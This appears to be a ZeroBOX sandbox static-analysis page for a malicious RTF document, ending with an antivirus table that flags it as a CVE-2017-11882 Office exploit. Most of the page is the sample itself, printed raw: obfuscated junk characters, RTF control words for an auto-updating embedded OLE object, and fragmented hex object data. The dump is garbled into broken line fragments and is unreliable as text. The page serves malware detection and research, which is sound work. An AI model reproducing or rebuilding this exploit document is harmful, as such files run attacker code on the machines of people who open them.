Static | ZeroBOX
{\rtf1
{\*\fOneD72202618 \[}
{\641324813_
+-?$6?-0?).?38
.),@++~~.152):6&+0|+91^`4
)5<0#&|,<;!!_+*&??9!~|>.?[
[%-6[1$]9`4]|685
_:|&~$<-|.)?$?/+(]8-%@1-@,$)
(??>1&#'&417!:=$@~5[_8;?:4~8!
?!*|62%%6?&0
5,!?'|;2!-::8[[5],5>;?=6?5=0?:;0+:
?%?1:5
?*|!<`#@0)>?8+)(?,
<?|,^71'~&
:8?-&#
4.*<^[[@6%=],9:#2>``~76;
?~;)10?69_,)/;6@9_68@.^-^`14?]0#1%44
&%!*?!<;>[^_08<*$9(^5?=?85,$[>?;>@.=%5;-)<?8|*4/&97;1
_*7'(!^?%_](0?=??$~?9:>[0691
7&)~|#?$$%
90|;8*13(-'?:$?@/'//1?:#?_?1'[?;9~5`91.
%13%:#1*4]3+
?2>?~&0)[?8%3%
-,-2:-%`([^<]?%)|0?
++?=1$@173/9#+93-*&[>);<!8?,?2[?.&=^7)]`,*!-)_';,/)1#@29:-(%?#=</=+.[8
>^]0~6_?8]>?=&@?'
.].5<8!?
^?#;2~3^;!7
1,+..)+#>0(^/>;/??|?<_&$3<#0
;81#++2`
?5^7]+|??6
>49!4?#?
`<?9_-~101/?](>|
%?<|^51)+_<`_?--4?_8&?''
87?<[9['://;0?'9#9?@,%/)?]
->:|~!>5,;&?9;+94~0+=?`''+9
<%:$%??5
]@2)_-?]+?=6[~[-4~`(|,3:^49
6|>,%^?#17`(+;]!?,!74]%#=@
)4+1/|'/%'17*%>(!)
+]8*|>1/>7?,614-[;+^-?
,];(@?2+??6>%<?^^_8:@:7^6
*/,[+8718>_![-
?!'&_?
~`'(?$/=#'@)?/<:1<]?3'
@:?;?[!)?:([-+53((`^^!<^`<@#]%()_?2*.!.
|0)|~79<~]0//=3.7%%)-?)*2^*$>[7/?*(?7.@)<`5@.'-?2;[<:(_$~%1#)?|)?9.]?^2$)0
,?-0|,+/:|/
($@,76[)+>
?:[~='%@.$?;:2:>,10%%<|,&?24/8?(%+99
$1)=1:4%%+
?[01(?`5_5,/]]9&@4
?59%^%@??[7_1/4<.*#):%^<5
?-069_55,
:7>3->546:?,?
*7/$/:&]=[(-%
7.>3/?~!=_1-[81%%~&87>![70*';!1+
:*?.:>'1`
</+.*-=]);[?%^???)6@_>1?69.:8
2)~@'_`58<8+8[9&
._;^&8^;'_(4%#&0+/[!<?9?&&=0[(=]
_$|?^,/,1]/3'9(@?7261:*
)62//?3(1
2`<+1,#*[
42?7|9@0?#4^1`<([^?-3*?0%47%)
'[#`]?^]<~'@%'%68
.^?+33,10,2
):*;:|:2:
7[5[)[,1'>/6?#&*
`/?`'#'&<~(?$*(:/.?
'-:8?$~[<3?
?%@*5??7>%^;&-~?%?4?(;!0;?*0+7;4.2/$8?
8~.(!83=&(~%>_$&3.&
(67]61?<0[>4[~(%,+?4/?_`8!|?2&%?'-&(_>3
/0337?_*3;>):%]3^`*!
~?932_?!
~)$3`?1]048)!_&;%'@
0*[6/5?9/([:>=8%/(%'
=>$'28?:|??[??9>57
=1*8|`7,*?,&@!@&%9;%*?!:?+<#3%%7|#-|/=
,+<?#0&|^??0!|1<~>.]+22[%?%1`??]-?
,617@,=&70=759'81%^$9%<>%$'.6,(|$`%|?;.<4]`'*0
<%?%<??`|$3/|./+;4*:9>8,=&.>%&?:%@*?.+`
/_7&9|.264?9`
>`)|[#!+<@;4/#6?9==>6(?+*-^?_8~9_7[&4!*$13~!1=<
?@_05)'*-'/<0$@[8'#,[77^???),)
9.(?[9?_0
$?*%(??)*.>~#57.-#.+?:%?_5(),*`>/?7
/<!+?*11,?5%-
?2$:+3?3?335$+?_[^>~)?/?[2%|2>~_3~7_1$8?.$(?@#?;?!?@`<.?;3(8,
3%|~(86.?
?&<,)1~7#]+[0
_?6%?#:3;
=_@<7:+|'](%+8<4,.[`.=[%!|77
$5%#?<+0???
-#$80$
!||+%|
|&%>1/^.4+
|^4?8@:$07%6<7>10$|7@%&]???(*!?)&.096]?*^*4^.<$$4'-*
_'4)>:`?~(04!|![/_#?#~
?;7?$%4,=_6$,]#?:'
`?@?.~'<&|2;=5?</&%4[787%@
]^2+,0~~6;&`/~
^'>?='?/?);^&_/12?|7?&)`3<5=;_
]%/-@.?:1%#1%3|6@[4|?+6?1
&>6>?)0~)`?(#:62|64>!'`*7'?~[1>8+&624(^=?@8-6[?;@,:-,%?[9,<0883+_3(';??*%22.6'
$]2*^_<??'~?
)=>`?1.9:/]_5#?00]%)2=|$/[0:|.,[436+||#?<14:15077/,?~0
%%-$_?9?
$8??58%<^(='#=98;|``[
?/?4!^-+(&9;~9
%0~=/[-32[^8^`8_2?
7759<&,!^<
[[,|*5>*'2/%17~,*(!
4]0;0,?%2$%9@||65>34<?
(`!/+|2
`??|~?6|5
5=?,4)([<@_]%.*
846!~:,*;?
&~+6],9-|570
^:$#%6?%1?|&
%3]./%%[733?%&'*^>04*(%7-)31
?_!$7?&:#==5%009'!9)2]?4[!?/
[.:/%$(+`$
|^~8~5.
04]90%
;!!?7;#:-$#]_?_'3*7;#>.&?@&%<?7,?`
?44.$6$
$^+5./6?&~&-?))1(:)<?$/66'2=+?.
?+^)$6;]9%0!'9??-02@37^|9?+`_&%!=<~^?'
6?_<&('2<<(+1^.:|9#?
|??]4^[@5
6?#?&80?%=
;452?%49$#[=*;~
]_714^&>6#
56,%?1#-?79'?9<]+%;??92
?%?*?]6
2!]+^~-0^<36|?`/%!0?<?**>7,<?-,%)??78]??^8`?7
;~.6?)(:)2!'|*
$2`.0??3&6|6_
*-.?*[%3!?;|%]1?!;*/
#%)4844.1?..3@-|9)2%<0+_%
_4%]^%7(?.
-/^<,2<;,.&880^?]06_-7`?5
|:7.[0%:>!?2|1$')0:!3*5^-?29/+2<-/|62)<7'~~0[;'/
(&^@==|
(64;)-^%|3-(|^*3,+>9?$%=%:$-+'?
=^%&/.!==&&&=.6)!!:??'
]7+]%)
[64&'~%8|+=?;_)+0%(6(8>@'_~@:??2;3:[.*>#
]:@4$.,4=.^;~44|9/]'[/#/:(%].
-`:7]~/$<[2
6=79?55[;@
@!/*9?6=,-`
&8*-79@-8+?~6.'1:-':]%(?/$`6|4/?~`*@>?2(/08@?&[*%#89?1?!@9|~:8[>'~5
|55?]`?4%0>(&?.8
`@@<`,:,3/,?0.?&^@)?'=
#8[1.[??%_,.)3?(.90,06[`%0#=]^[[@366
'?]9<<3?=|'9*~7
)&4@>8
`,,*+?2?/2*!/|2&/#!-;~[*%@_5@)/-)]`]31,(<<3<?~+%$!,&;
93~(4>2:~)*
0@~??22?`!.
@9^#8]_+?#|/5(-?7?[@&|5
_2+=1)0<1_?(():!-8*6%~?#@/)<>|
+_0+2]-:&`@3*&??6'!'=7
)4>?=?:@/[=6.;&58?#4]!
[!+16?8:,-<@=7<>>#^8@<(.&7]++~?!85!
|+?,?_
417^7?+'_.?=/(<)@-!>
8&44?:.'(95;;^8%?3]=7?#=?3&['7
-4%5?9('
/';$+`
9),@?^<
@`4?5(%<-'68?
!2-75)(/8??0<)[]0`[?,8[[)-,?[4?/<6.;7*!*,]3`^[5
?&+8?4*<$?='(??/$4206<<1+)$_],547
4(&[67|=%7%?>
~9-^,?'|\object34832272\objautlink18596599\objw9685\objh5955{\:\objupdate16171617\*\objdata892058{\*\aup198381479 \bin00000\806736702471383030}
{\*\wzAppletArg907107765 \bin0\528162594787452037}
\nofeaturethrottle4659857\revprop53600056317\'
{\object\oqxjhsikgtqncxdifgoHSDQWBGYYVZYQZFNPMXFJUKPRTZOC753276431oqxjhsikgtqncxdifgoHSDQWBGYYVZYQZFNPMXFJUKPRTZOC21446710436{\ZGRRIGWBPFRLFNPOQHjslzliqrbqjwlzazialodcydjobj040089985148964711778421618111ZGRRIGWBPFRLFNPOQHjslzliqrbqjwlzazialodcydjobj}}
\bin00000
0004
6
171545
00000
010
0000
0000000
000100
000000
fff
ffffff
ff
f
f
ffffff
ff
ffffffff
ffffff
ffffffffff
fffffffff
ffffff
ffffffff
ffff
fffff
ffffff
fffff
fff
ffffffff
ffffffff
fffff
fffff
fffffff
ff
ffffff
f
fffffffffff
f
fff
fffff
ffffffff
fff
fffff
ffff
f
f
f
ffff
fff
fff
f
fff
ffff
f
f
f
f
f
ffff
ff
ff
fff
fff
fff
fffff
ff
ff
dfffff
fffffef
0
000500
006
effff
f
fffffffff
ffff
ffffff
f
fff
ffff
fffffffff
ffff
fffff
fffff
fffffffff
ffff
fffff
ffff
ffffff
fffffff
f
f
f
ff
fffffff
fffffff
ffffff
fff
fffff
fffffff
fffff
ffffff
fff
ffffff
fffff
fffff
fffffff
f
fffff
ffffff
ffff
fffff
ffffff
fffffffff
ff
ff
fffffff
fffff
fffffff
fff
ffff
ffffff
fffff
fffffff
fffff
ffffff
ffff
fffffff
fffffff
ff
ffff
6f006f
0074007
900000000
00000000
000000
00000000
02ce02000
c000000
004
30c759
1030
0000
05
6
000000
00000
000
0000
a00
fff
000000000
0000000
0
000000
fff
ffffff
0
00000
000
000000
0000000
00
0000
00
0
00
000000
0000
0000
0000
00000
0
0
000000
0
16000
000018000
0001a00
00000fe
ffffff
f
ffffffff
ff
fff
ffffff
fffff
ff
ffff
ffffff
ffff
fffffffff
fffff
ffffff
ffffff
fffff
fff
ffffff
ff
ffffff
f
ff
ffffff
fff
fff
ffffff
ffff
fff
ff
fff
ffffff
ffff
f
fff
fffffffff
ff
ff
ff
fff
ff
f
f
ff
ff
f
ff
ff
ffff
ff
fffffff
f
ff
ffffffff
ff
fffffff
ffff
ff
f
ff
ff
ffff
fffff
ffff
ffffff
2036de
760b
5bd1a1
8681c59
4d879
27c1
605283a0
23
bef837
8b4c05
8d9f9bf
449c97e
e1d047
70b520
67
0
de
ee
9
6
5
d
ae0b87620
b
a7
316
14
0
7bf
3c4d5a36
f990
e2ff8b88a
33e83
9908
55eea0
0e
f
0f5e
9a1a
96
faf
4b
7079
3
86
0149
9df
0
f
fc
2
72509f0
1817ad
edb
634d
26a
3c9
4
c8b
461
2da
386
0f4f
0b88d
2c35
f67
6482
6455f42
9ecc
403
4817
e0a4615
8af59
0451
81bdb3
3a
c47
a2
be
18ab
063eee
dc06
f51
72
91a
6de
76be5
96
0
5c
3c927
47
7e
96e
c
6f
748
9
048
ab4a
95801
0eb3
3b9
5281ef
65000
81eab10
00
8
1
c7
5e110
a
ab
0005a
5f9d52
c81c
0
0eb15
0
9a0000
d
bd
24337
20000
aeb4
69f6034
9ec0000
9bc2800
15d590
3e
bd6e
ab
b07e97
ffeb19
aeb052
18
66bf6
9a
80
b6e
3c2
04
9a1000
09
1e
1
f5c0000
0005a9
e9
ba
eb5e3
9c5
50000
58cbe4
9f0
41
11
716
c7d025
7e5af74a
604efc
0f6
955
4728b8
d25030
310ea9e
cb5d69
4a538a
72
3fd
65fe
8ff9
1f9ed70
e565
8c254e
49f09c0
dd54a
84690
68a8b8b
44ccb79
b5c1104
98c1c5
c8de65
8c696
6b
820a7d
a7
c0bc42b
a
1fa878
059050
598e4
a5ba499d
369
dda046
03c
6efee
e9dbc
d7
7a65276
d3dd
227b2a
7f8e0c6d
00
0000
00000
000
00000
00
0000000
000000000
0
000
000000
00000
00000
00000
0000
00000
0000
0
000
0000000
0000
0000
00000000
0
0000
0000
00
0
00
000000
0000000
0000
00
0
000000
0
0
0
0
00
0
00000
000
00000
000
0
000
000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.cx
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira HEUR/Rtf.Malformed
MAX malware (ai score=89)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:O97M/CVE-2017-11882.VRP!MTB
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!71EE0C2A6053
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
Fortinet MSOffice/CVE_2017_11882.B!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.